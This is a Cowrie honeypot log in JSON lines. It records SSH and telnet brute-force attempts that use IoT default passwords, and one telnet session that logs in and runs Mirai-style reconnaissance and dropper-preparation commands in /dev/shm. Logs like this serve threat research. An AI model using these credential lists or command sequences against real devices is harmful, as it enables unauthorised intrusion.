f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:16.817099Z","src_ip":"94.230.136.33","session":"fe5a95c1f26b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ford","message":"login attempt [root/ford] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:17.435036Z","src_ip":"94.230.136.33","session":"fe5a95c1f26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:18.583841Z","src_ip":"94.230.136.33","session":"fe5a95c1f26b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00455498695374,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:22.269971Z","src_ip":"152.42.224.71","session":"715fec45fb37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.04426407814026,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:22.823548Z","src_ip":"152.42.224.71","session":"abaa27955e29","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"93.190.58.102","src_port":50225,"dst_ip":"10.17.0.5","dst_port":23,"session":"a430bd91cabc","protocol":"telnet","message":"New connection: 93.190.58.102:50225 (10.17.0.5:23) [session: a430bd91cabc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:23.373270Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:23.702707Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"default","message":"login attempt [root/default] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:24.030750Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxsw","message":"login attempt [root/qazxsw] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:24.362643Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Win1doW$","message":"login attempt [root/Win1doW$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:24.690803Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"xc3511","message":"login attempt [root/xc3511] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:25.018862Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"ipcam_rt5350","message":"login attempt [admin/ipcam_rt5350] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:25.350787Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"123123","message":"login attempt [root/123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:25.678737Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubnt","password":"ubnt","message":"login attempt [ubnt/ubnt] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:26.006739Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"zsun1188","message":"login attempt [root/zsun1188] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:26.339108Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"54321","message":"login attempt [root/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:26.666788Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"admin","password":"54321","message":"login attempt [admin/54321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:26.994915Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234","message":"login attempt [root/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.322668Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.login.success","username":"admin","password":"7ujMko0admin","message":"login attempt [admin/7ujMko0admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.650743Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.701783Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"enable","message":"CMD: enable","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.804071Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"system","message":"CMD: system","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.808247Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"system ","message":"Command not found: system ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.811347Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"shell","message":"CMD: shell","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.814732Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"shell ","message":"Command not found: shell ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.818260Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"sh","message":"CMD: sh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.821224Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cat /proc/mounts; /bin/busybox KEXRL","message":"CMD: cat /proc/mounts; /bin/busybox KEXRL","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:27.921955Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KEXRL","message":"CMD: cd /dev/shm; cat .s || cp /bin/echo .s; /bin/busybox KEXRL","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.024864Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"tftp; wget; /bin/busybox KEXRL","message":"CMD: tftp; wget; /bin/busybox KEXRL","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.125759Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","message":"CMD: dd bs=52 count=1 if=.s || cat .s || while read i; do echo $i; done < .s","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.228510Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"while read i","message":"Command not found: while read i","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.235159Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"/bin/busybox KEXRL","message":"CMD: /bin/busybox KEXRL","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.358961Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"rm .s; exit","message":"CMD: rm .s; exit","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.363915Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.input","input":"q","message":"CMD: q","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.367649Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.command.failed","input":"q ","message":"Command not found: q ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.370251Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/e73ebbfe8906125df57552b66730f0dccbd02f2daf68b06ad3d0c907ae9fda04","size":3466,"shasum":"e73ebbfe8906125df57552b66730f0dccbd02f2daf68b06ad3d0c907ae9fda04","duplicate":false,"duration":"0.7","message":"Closing TTY Log: var/lib/cowrie/tty/e73ebbfe8906125df57552b66730f0dccbd02f2daf68b06ad3d0c907ae9fda04 after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.375870Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.015107870101929,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:28.388271Z","src_ip":"93.190.58.102","session":"a430bd91cabc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60118,"dst_ip":"10.17.0.5","dst_port":23,"session":"402f83325db4","protocol":"telnet","message":"New connection: 152.42.224.71:60118 (10.17.0.5:23) [session: 402f83325db4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:34.007529Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":60122,"dst_ip":"10.17.0.5","dst_port":23,"session":"4278e414ad79","protocol":"telnet","message":"New connection: 152.42.224.71:60122 (10.17.0.5:23) [session: 4278e414ad79]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:34.949624Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37630,"dst_ip":"10.17.0.5","dst_port":23,"session":"c40b3cc68a6a","protocol":"telnet","message":"New connection: 152.42.224.71:37630 (10.17.0.5:23) [session: c40b3cc68a6a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:36.209808Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37642,"dst_ip":"10.17.0.5","dst_port":23,"session":"300d3d14da35","protocol":"telnet","message":"New connection: 152.42.224.71:37642 (10.17.0.5:23) [session: 300d3d14da35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:37.166343Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37644,"dst_ip":"10.17.0.5","dst_port":23,"session":"764f74346ec8","protocol":"telnet","message":"New connection: 152.42.224.71:37644 (10.17.0.5:23) [session: 764f74346ec8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:37.752365Z"}
{"eventid":"cowrie.session.connect","src_ip":"119.28.115.94","src_port":39208,"dst_ip":"159.203.135.109","dst_port":22,"session":"bab8979655a2","protocol":"ssh","message":"New connection: 119.28.115.94:39208 (159.203.135.109:22) [session: bab8979655a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:40.320864Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:40.324678Z","src_ip":"119.28.115.94","session":"bab8979655a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:40.560279Z","src_ip":"119.28.115.94","session":"bab8979655a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfqwer","message":"login attempt [root/asdfqwer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:41.534312Z","src_ip":"119.28.115.94","session":"bab8979655a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:42.778989Z","src_ip":"119.28.115.94","session":"bab8979655a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.066357374191284,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:42.785756Z","src_ip":"152.42.224.71","session":"c370e1471b4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.54.120","src_port":59408,"dst_ip":"159.203.135.109","dst_port":22,"session":"6407793e4804","protocol":"ssh","message":"New connection: 43.153.54.120:59408 (159.203.135.109:22) [session: 6407793e4804]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:45.834192Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:45.838870Z","src_ip":"43.153.54.120","session":"6407793e4804","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:45.906610Z","src_ip":"43.153.54.120","session":"6407793e4804","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mariah","message":"login attempt [root/mariah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:46.218961Z","src_ip":"43.153.54.120","session":"6407793e4804","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:47.289716Z","src_ip":"43.153.54.120","session":"6407793e4804","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":32872,"dst_ip":"10.17.0.5","dst_port":23,"session":"50fe52266f31","protocol":"telnet","message":"New connection: 152.42.224.71:32872 (10.17.0.5:23) [session: 50fe52266f31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:48.351475Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.213","src_port":29764,"dst_ip":"159.203.135.109","dst_port":22,"session":"66b1d5da4957","protocol":"ssh","message":"New connection: 101.36.108.213:29764 (159.203.135.109:22) [session: 66b1d5da4957]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:51.537198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:51.544060Z","src_ip":"101.36.108.213","session":"66b1d5da4957","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:51.754337Z","src_ip":"101.36.108.213","session":"66b1d5da4957","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja123","message":"login attempt [root/tanja123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:52.588244Z","src_ip":"101.36.108.213","session":"66b1d5da4957","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:53.801921Z","src_ip":"101.36.108.213","session":"66b1d5da4957","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.228.151","src_port":42664,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bfe0c09a723","protocol":"ssh","message":"New connection: 43.134.228.151:42664 (159.203.135.109:22) [session: 1bfe0c09a723]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:56.819772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:56.824694Z","src_ip":"43.134.228.151","session":"1bfe0c09a723","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:57.070348Z","src_ip":"43.134.228.151","session":"1bfe0c09a723","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"C@vid19","message":"login attempt [root/C@vid19] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:58.083756Z","src_ip":"43.134.228.151","session":"1bfe0c09a723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:14:59.332195Z","src_ip":"43.134.228.151","session":"1bfe0c09a723","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":99.54787564277649,"message":"Connection lost after 99 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:00.032312Z","src_ip":"152.42.224.71","session":"67ac3cd951ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57570,"dst_ip":"10.17.0.5","dst_port":23,"session":"80c2161bf927","protocol":"telnet","message":"New connection: 152.42.224.71:57570 (10.17.0.5:23) [session: 80c2161bf927]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:00.249101Z"}
{"eventid":"cowrie.session.closed","duration":26.004745721817017,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:15:02.214417Z","src_ip":"152.42.224.71","session":"c40b3cc68a6a","protocol":"telnet"}
